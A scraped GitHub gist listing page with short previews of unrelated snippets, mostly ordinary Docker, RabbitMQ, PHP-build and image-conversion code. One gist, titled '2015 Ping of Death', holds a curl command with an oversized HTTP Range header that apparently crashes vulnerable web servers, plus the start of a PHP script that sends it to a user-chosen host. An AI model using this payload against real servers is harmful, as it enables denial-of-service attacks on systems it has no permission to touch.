Skip to content

Instantly share code, notes, and snippets.

View pboethig's full-sized avatar

Peter Böthig pboethig

  • München
View GitHub Profile
@bastman
bastman / docker-cleanup-resources.md
Created March 31, 2016 05:55
docker cleanup guide: containers, images, volumes, networks

Docker - How to cleanup (unused) resources

Once in a while, you may need to cleanup resources (containers, volumes, images, networks) ...

delete volumes

// see: https://github.com/chadoe/docker-cleanup-volumes

$ docker volume rm $(docker volume ls -qf dangling=true)

$ docker volume ls -qf dangling=true | xargs -r docker volume rm

@acid24
acid24 / publisher
Last active November 7, 2022 16:36
RabbitMQ publish confirms mandatory
<?php
use PhpAmqpLib\Message\AMQPMessage;
define('ROOT_DIR', realpath(dirname(dirname(__DIR__))));
define('HOST', 'rabbitmq');
define('PORT', 5672);
define('USER', 'guest');
define('PASSWD', 'guest');
@m1st0
m1st0 / php_build_ubuntu.sh
Last active April 18, 2025 08:55
Compiling PHP 8 on Ubuntu 22.10 with Various Supported Modules
#!/bin/bash
# PHP 8 Compile #
# Author: Maulik Mistry
# Please share support: https://www.paypal.com/paypalme/m1st0
# References:
# http://www.zimuel.it/install-php-7/
# http://www.hashbangcode.com/blog/compiling-and-installing-php7-ubuntu
# root-talis https://gist.github.com/root-talis/40c4936bf0287237839ccd3fdfdaec28
#
@totoCZ
totoCZ / ping.php
Created April 18, 2015 21:36
2015 Ping of Death
<?php
// curl -v [ipaddress]/static.png -H "Host: test" -H "Range: bytes=0-18446744073709551615"
if (isset($_GET["host"]) && isset($_GET["url"])) {
$h = htmlspecialchars($_GET["host"]);
$ip = gethostbyname($h);
$url = htmlspecialchars($_GET["url"]);
$opts = array('http' =>
array(
@rafaelrinaldi
rafaelrinaldi / to_png.sh
Created October 8, 2012 03:21
Convert .psd files to .png files keeping the transparency.
#!/usr/bin/env bash
#
# Convert .psd files to .png files keeping the transparency.
# It uses `imagemagick` library.
# Usage:
#
# sh to_png.sh path/
#
# Author: Rafael Rinaldi (rafaelrinaldi.com)